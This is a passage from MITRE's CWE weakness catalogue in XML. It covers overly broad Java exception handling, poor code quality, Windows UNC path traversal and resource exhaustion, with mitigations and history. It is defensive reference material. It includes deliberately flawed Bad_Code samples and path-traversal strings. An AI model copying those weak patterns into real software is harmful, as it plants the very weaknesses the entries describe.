				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Catch
						NullPointerException</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="396" Name="Declaration of Catch for Generic Exception" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Catching overly broad exceptions promotes complex error
					handling code that is more likely to contain security
					vulnerabilities.</Description_Summary>
				        <Extended_Description>
					          <Text>Multiple catch blocks can get ugly and repetitive, but "condensing" catch
						blocks by catching a high-level class like Exception can obscure exceptions
						that deserve special treatment or that should not be caught at this point in
						the program. Catching an overly broad exception essentially defeats the
						purpose of Java's typed exceptions, and can become particularly dangerous if
						the program grows and begins to throw new types of exceptions. The new
						exception types will not receive any attention.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>705</Relationship_Target_ID>
					          <!--Incorrect Control Flow Scoping-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>755</Relationship_Target_ID>
					          <!--Improper Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>221</Relationship_Target_ID>
					          <!--Information Loss or Omission-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code excerpt handles three types of exceptions in an
						identical fashion.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>doExchange();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch (IOException e) {</Code>
							              <Block>
								                <Code>logger.error("doExchange failed", e);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch (InvocationTargetException e) {</Code>
							              <Block>
								                <Code/>
								                <Code>logger.error("doExchange failed", e);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch (SQLException e) {</Code>
							              <Block>
								                <Code/>
								                <Code>logger.error("doExchange failed", e);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>At first blush, it may seem preferable to deal with these exceptions
							in a single catch block, as follows:</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code>try {</Code>
							              <Block>
								                <Code>doExchange();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch (Exception e) {</Code>
							              <Block>
								                <Code>logger.error("doExchange failed", e);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, if doExchange() is modified to throw a new type of exception
							that should be handled in some different kind of way, the broad catch
							block will prevent the compiler from pointing out the situation.
							Further, the new catch block will now also handle exceptions derived
							from RuntimeException such as ClassCastException, and
							NullPointerException, which is not the programmer's intent.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 9: Catching Exceptions." Page 157</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Overly-Broad Catch Block</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-24</Modification_Date>
					          <Modification_Comment>Removed C from Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Overly-Broad Catch
						Block</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="397" Name="Declaration of Throws for Generic Exception" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Throwing overly broad exceptions promotes complex error
					handling code that is more likely to contain security
					vulnerabilities.</Description_Summary>
				        <Extended_Description>
					          <Text>Declaring a method to throw Exception or Throwable makes it difficult for
						callers to perform proper error handling and error recovery. Java's
						exception mechanism, for example, is set up to make it easy for callers to
						anticipate what can go wrong and write code to handle each specific
						exceptional circumstance. Declaring that a method throws a generic form of
						exception defeats this system.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>705</Relationship_Target_ID>
					          <!--Incorrect Control Flow Scoping-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>221</Relationship_Target_ID>
					          <!--Information Loss or Omission-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following method throws three types of exceptions.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void doExchange() throws IOException,
								InvocationTargetException, SQLException {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>While it might seem tidier to write</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code>public void doExchange() throws Exception {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>doing so hampers the caller's ability to understand and handle the
							exceptions that occur. Further, if a later revision of doExchange()
							introduces a new type of exception that should be treated differently
							than previous exceptions, there is no easy way to enforce this
							requirement.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Overly-Broad Throws Declaration</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not throw RuntimeException, Exception, or
						Throwable</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR07-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-24</Modification_Date>
					          <Modification_Comment>Removed C from Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Overly-Broad Throws
						Declaration</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="398" Name="Indicator of Poor Code Quality" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The code has features that do not directly introduce a weakness
					or vulnerability, but indicate that the product has not been carefully developed
					or maintained.</Description_Summary>
				        <Extended_Description>
					          <Text>Programs are more likely to be secure when good development practices are
						followed. If a program is complex, difficult to maintain, not portable, or
						shows evidence of neglect, then there is a higher likelihood that weaknesses
						are buried in the code.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>710</Relationship_Target_ID>
					          <!--Coding Standards Violation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Code Quality</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Code
						Quality</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="40" Name="Path Traversal: '\\UNC\share\name\' (Windows UNC Share)" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>An attacker can inject a Windows UNC share ('\\UNC\share\name')
					into a software system to potentially redirect access to an unintended location
					or arbitrary file.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>36</Relationship_Target_ID>
					          <!--Absolute Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0687</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows a remote attacker to retrieve
						privileged web server system information by specifying arbitrary paths in
						the UNC format (\\computername\sharename). </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 11, "Filelike Objects", Page 664.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'\\UNC\share\name\' (Windows UNC share)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Windows UNC
						Share - '\\UNC\share\name\'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="400" Name="Uncontrolled Resource Consumption ('Resource Exhaustion')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly restrict the size or amount of
					resources that are requested or influenced by an actor, which can be used to
					consume more resources than intended.</Description_Summary>
				        <Extended_Description>
					          <Text>Limited resources include memory, file system storage, database connection
						pool entries, or CPU. If an attacker can trigger the allocation of these
						limited resources, but the number or size of the resources is not
						controlled, then the attacker could cause a denial of service that consumes
						all available resources. This would prevent valid users from accessing the
						software, and it could potentially have an impact on the surrounding
						environment. For example, a memory exhaustion attack against an application
						could slow down the application as well as its host operating system.</Text>
					          <Text>Resource exhaustion problems have at least two common causes:</Text>
					          <Block Block_Nature="List">
						            <Text>Error conditions and other exceptional circumstances</Text>
						            <Text>Confusion over which part of the program is responsible for releasing
							the resource</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
